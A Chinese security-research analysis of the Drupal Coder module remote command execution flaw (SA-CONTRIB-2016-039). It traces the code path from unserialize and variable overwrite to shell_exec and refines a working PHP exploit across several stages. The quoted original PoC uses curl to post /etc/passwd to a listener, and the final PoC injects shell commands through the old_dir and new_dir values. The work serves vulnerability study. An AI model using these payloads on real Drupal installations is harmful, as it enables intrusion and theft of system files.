Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)

作者:曾鸿坤@安恒安全研究院、黄伟杰@安恒安全研究院

背景:

今年7月13日,Drupal发布了一个高危漏洞公告(DRUPAL-SA-CONTRIB-2016-039),即Coder模块的远程代码执行(在没有启用模块的情况下,漏洞也可以被触发)。
但是这个模块不是Drupal默认自带的模块,所以影响范围有限。

Drupal的Coder模块主要有以下两个功能:

  1. 用来检查代码文件是否符合Drupal编码标准,是否兼容当前版本的Drupal API。
  2. 用来将旧模块升级至符合当前Drupal标准的模块。

影响范围:

Coder module 7.x-1.x versions prior to 7.x-1.3.
Coder module 7.x-2.x versions prior to 7.x-2.6.

分析

测试环境:Drupal 7.50, Coder 7.x-2.5.

我们从网上找到个现有的POC (https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5),内容如下:

<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name)
 
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../../../../sites/default/files"
    )
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>

但是在我们的环境下,上面POC无法正常使用。然后就开始了我们的修改POC和分析漏洞之路。

在文件/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php的开头,有这样两行代码:

set_error_handler("error_handler");
set_exception_handler("exception_handler");

导致后面代码碰到Warning后都会自动退出,所以整个POC之路有点曲折。

0. 我们先快速查找下导致命令注入的位置。

通过POC可知是从items[‘old_dir’]注入命令,所以我们跟踪$items这个变量,得到以下路线。

  • 从coder_upgrade.run.php开始->$item变量进入coder_upgrade_start($upgrades, $extensions, $items)这个函数.
  • coder_upgrade_start函数声明在main.inc文件, 之后$items变成$item进入coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files)函数。
  • coder_upgrade_make_patch_file函数声明在仍然在main.inc文件,最后$item内的old_dir和new_dir被取出,进入shell_exec(“diff -up -r {$old_dir} {$new_dir} > {$patch_filename}”);,从而导致命令注入。

1. 下面我们看coder_upgrade.run.php的代码:

...//ignore
$usage = array();
save_memory_usage('start', $usage);
 
define('DRUPAL_ROOT', getcwd());
 
ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler");
 
$path = extract_arguments(); //1.1.即获取$_GET['file']
if (is_null($path)) {
  echo 'No path to parameter file';
  return 2;
}
 
// Load runtime parameters.
$parameters = unserialize(file_get_contents($path)); //1.2.此处到下面三行实现变量覆盖
foreach ($parameters as $key => $variable) {
  $$key = $variable;
}
save_memory_usage('load runtime parameters', $usage);
 
// Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables; //1.3.此处$variables需要覆盖,不然会产生未声明变量警告而退出。
$_coder_upgrade_files_base = $paths['files_base']; //1.4. $path要覆盖,不然也会产生警告,下面两行同样情况。
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base'];
 
// Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) { //1.5.$theme_cache需要覆盖
  $_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage);
 
// Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
  'coder_upgrade.inc',
  'includes/main.inc',
  'includes/utility.inc',
);
foreach ($files as $file) {
  require_once DRUPAL_ROOT . '/' . $path . "/$file"; //1.6.此处需要正常包含文件,不能产生警告,POC里面的modules_base=>`../../../`,此时的目录结构可以符合条件。
}
 
coder_upgrade_path_clear('memory'); //1.7.此处会将一些调试信息写入指定文件,写入目录由POC里面的files_base指定,但是POC里面的`../../../../sites/default/files`,在我们的测试环境下,并没有这个目录,导致会产生警告而退出,所以我们将它修改为coder模块的目录`../..`,这样也避免了环境不同而导致POC不能使用。
print_memory_usage($usage);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
 
$success = coder_upgrade_start($upgrades, $extensions, $items); //1.8.此处是关键,命令注入的入口。

所以要执行到coder_upgrade_start,同时满足上面分析的所有条件,POC已经被我们修改为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "color",
            "files" => array("color.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

2. 接下来,我们看coder_upgrade_start函数的声明:

在/sites/all/modules/coder/coder_upgrade/includes/main.inc文件中:

function coder_upgrade_start($upgrades, $extensions, $items, $recursive = TRUE) {
  // Declare global variables.
  global $_coder_upgrade_log, $_coder_upgrade_debug, $_coder_upgrade_module_name, $_coder_upgrade_replace_files, $_coder_upgrade_class_files;
 
  // Check lists in case this function is called apart from form submit.
  if (!is_array($upgrades) || empty($upgrades)) {
    return FALSE;
  }
  if (!is_array($extensions) || empty($extensions)) {
    return FALSE;
  }
  if (!is_array($items) || empty($items)) {
    return FALSE;
  }
 
  $_coder_upgrade_log = TRUE;
  if ($_coder_upgrade_log) {
    // Clear the log file.
    coder_upgrade_path_clear('log');
    if (!variable_get('coder_upgrade_use_separate_process', FALSE)) {
      coder_upgrade_path_clear('memory');
    }
    coder_upgrade_memory_print('initial');
  }
  // Set debug output preference.
  $_coder_upgrade_debug = variable_get('coder_upgrade_enable_debug_output', FALSE);
  if ($_coder_upgrade_debug) {
    // Clear the debug file.
    coder_upgrade_path_clear('debug');
  }
 
  // Load code.
  coder_upgrade_load_code($upgrades); //2.1.我们调试到此处程序退出运行,经分析是因为包含文件出错。这个函数可理解为:require(modules目录.$upgrades['coder_upgrade']['module'].$upgrades['coder_upgrade']['files'][0]),即包含模块目录下的某些文件。POC里面的意思是包含color模块下的color.module文件。但是可能还是因为环境不同,我们modules目录下并没有color这个模块,所以我们还是选择coder模块本身。
  coder_upgrade_load_parser();
 
  // Set file replacement parameter.
  $_coder_upgrade_replace_files = variable_get('coder_upgrade_replace_files', FALSE);
  // Initialize list of class files.
  $_coder_upgrade_class_files = array();
 
  // Loop on items.
  foreach ($items as $item) {
    $_coder_upgrade_module_name = '';
//    $_coder_upgrade_dirname = $item['old_dir'];
 
    if (!isset($_SERVER['HTTP_USER_AGENT']) || strpos($_SERVER['HTTP_USER_AGENT'], 'simpletest') === FALSE) {
      // Process the directory before conversion routines are applied.
      // Note: if user agent is not set, then this is being called from CLI.
      coder_upgrade_convert_begin($item);
    }
 
    // Call main conversion loop.
    coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive); //2.2.此处是修改完POC后另一处退出运行的地方,也是整个分析过程比较有意思的地方,跟踪函数(到第3点)。
 
    // Apply finishing touches to the directory.
    // Swap directories if files are replaced.
    $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];
    coder_upgrade_convert_end($new_dir);
 
    // Make a patch file.
    coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files);
  }
 
  return TRUE;
}

“2.1后”,我们的POC被修改为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

3. 跟踪coder_upgrade_convert_dir函数:

function coder_upgrade_convert_dir($upgrades, $extensions, $item, $recursive = TRUE) {
  global $_coder_upgrade_filename; // Not used by this module, but other modules may find it useful.
  static $ignore = array(/*'.', '..', '.bzr', '.git', '.svn',*/ 'CVS');
  global $_coder_upgrade_module_name, $_coder_upgrade_replace_files;
 
  $dirname = $item['old_dir'];
  $new_dirname = $item['new_dir'];
 
  // Create an output directory we can write to.
  if (!is_dir($new_dirname)) { //3.1.此处会获取我们可控的new_dir,新建一个目录
    mkdir($new_dirname);
    chmod($new_dirname, 0757);
  }
  else {
    coder_upgrade_clean_directory($new_dirname);
  }
  ...//ignore
  coder_upgrade_module_name($dirname, $item); //3.2.此处会scandir($dirname),如果$dirname目录不存在则会产生警告退出运行。dirname即POC里的old_dir,我们需要old_dir为一个已经存在的目录,但是如果下面程序会对那个目录下的文件产生其它操作,可能影响系统的正常功能。这时我们想到了上面3.1的创建目录。只需new_dir和old_dir相同,scandir(old_dir)即可正常运行,还不会影响系统其它文件。
  $_coder_upgrade_module_name = $item['module'] ? $item['module'] : $_coder_upgrade_module_name;
 
  // Loop on files.
  $filenames = scandir($dirname . '/');//3.3.此处同3.2
  foreach ($filenames as $filename) {
    $_coder_upgrade_filename = $dirname . '/' . $filename;
    if (is_dir($dirname . '/' . $filename)) {
      if (substr(basename($filename), 0, 1) == '.' || in_array(basename($filename), $ignore)) {
        // Ignore all hidden directories and CVS directory.
        continue;
      }
      $new_filename = $filename;
      // Handle D6 conversion item #79.
      if ($filename == 'po') {
        $new_filename = 'translations';
      }
      if ($recursive) {
        // TODO Fix this!!!
        $new_item = array(
          'name' => $item['name'],
          'old_dir' => $dirname . '/' . $filename,
          'new_dir' => $new_dirname . '/' . $filename,
        );
        coder_upgrade_convert_dir($upgrades, $extensions, $new_item, $recursive);
        // Reset the module name.
        $_coder_upgrade_module_name = $item['module'];
      }
    }
    elseif (in_array($extension = pathinfo($filename, PATHINFO_EXTENSION), array_keys($extensions))) {
      copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
      if ($extension == 'php' && substr($filename, -8) == '.tpl.php') {
        // Exclude template files.
        continue;
      }
      coder_upgrade_log_print("\n*************************");
      coder_upgrade_log_print('Converting the file => ' . $filename);
      coder_upgrade_log_print("*************************");
      coder_upgrade_convert_file($dirname . '/' . $filename, $new_dirname . '/' . $filename, $_coder_upgrade_replace_files);
    }
    elseif (in_array($extension, array('inc', 'install', 'module', 'php', 'profile', 'test', 'theme', 'upgrade'))) {
      copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
      // Check for a class declaration for use in the info file.
      coder_upgrade_class_check($new_dirname . '/' . $filename);
    }
    else {
      copy($dirname . '/' . $filename, $new_dirname . '/' . $filename);
    }
  }
}

“3.3后”,POC修改为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;")),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

我们回到2的coder_upgrade_start函数,此时我们已经可以进入coder_upgrade_make_patch_file函数,下面看coder_upgrade_make_patch_file函数的声明:

function coder_upgrade_make_patch_file($item, $_coder_upgrade_replace_files = FALSE) {
  // Patch directory.
  $patch_dir = coder_upgrade_directory_path('patch');
 
  // Make a patch file.
  coder_upgrade_log_print("\n*************************");
  coder_upgrade_log_print('Creating a patch file for the directory => ' . $item['old_dir']);
  coder_upgrade_log_print("*************************");
  $patch_filename = $patch_dir . $item['name'] . '.patch'; //4.1.此处还有一个$item['name']在POC里面没有声明,所以程序到这里还是会退出运行,所以我们只需最后再修改下POC。
  // Swap directories if files are replaced.
  $old_dir = $_coder_upgrade_replace_files ? $item['new_dir'] : $item['old_dir'];
  $new_dir = $_coder_upgrade_replace_files ? $item['old_dir'] : $item['new_dir'];
  coder_upgrade_log_print("Making patch file: diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
  shell_exec("diff -up -r {$old_dir} {$new_dir} > {$patch_filename}");
 
  // Remove the path strings from the patch file (for usability purposes).
  $old1 = $old_dir . '/';
  $new1 = $new_dir . '/';
  $contents = file_get_contents($patch_filename);
  file_put_contents($patch_filename, str_replace(array($old1, $new1), '', $contents));
}

我们最终POC为:

$host = "http://localhost:82/";
 
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;touch 123;", "new_dir"=>"test;touch 123;", "name"=>1)),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));

 

发表评论